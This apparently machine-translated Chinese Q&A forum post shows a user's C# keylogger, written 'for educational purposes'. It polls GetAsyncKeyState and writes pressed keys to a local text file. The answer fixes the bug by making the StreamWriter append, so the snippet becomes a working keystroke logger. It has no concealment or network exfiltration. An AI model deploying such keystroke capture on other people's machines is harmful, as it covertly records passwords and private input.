2017-10-19 102 views
0

你好,我爲教育目的創建簡單的鍵盤記錄器和我偶然發現了錯誤,我不知道如何解決爲什麼只記錄一次?

static void WriteLogs(char key) 
    { 
     StreamWriter file = new StreamWriter(@"C:\Users\Bartek\Desktop\asynckey test\asynckey test\test.txt"); 

     file.Write(key); 

     file.Close(); 
    } 

    static void CatchKeys() 
    { 
     char key; 
     while (true) 
     { 
      Thread.Sleep(20); 

      for (key = (char)8; key <= 190; key++) 
      { 
       if (GetAsyncKeyState((System.Windows.Forms.Keys)key) == -32768) 
       { 
        Console.WriteLine("Logging"); 
        WriteLogs(key); 
       } 
      } 
     } 
    } 

它記錄只有1個字符的文件,然後繼續循環,但不記錄

+0

你覆蓋每一次文件。 – juharr

回答

1

會轉而追加覆蓋的:

StreamWriter file = new StreamWriter(
    @"C:\Users\Bartek\Desktop\asynckey test\asynckey test\test.txt", 
    true); // <- appending instead of recreating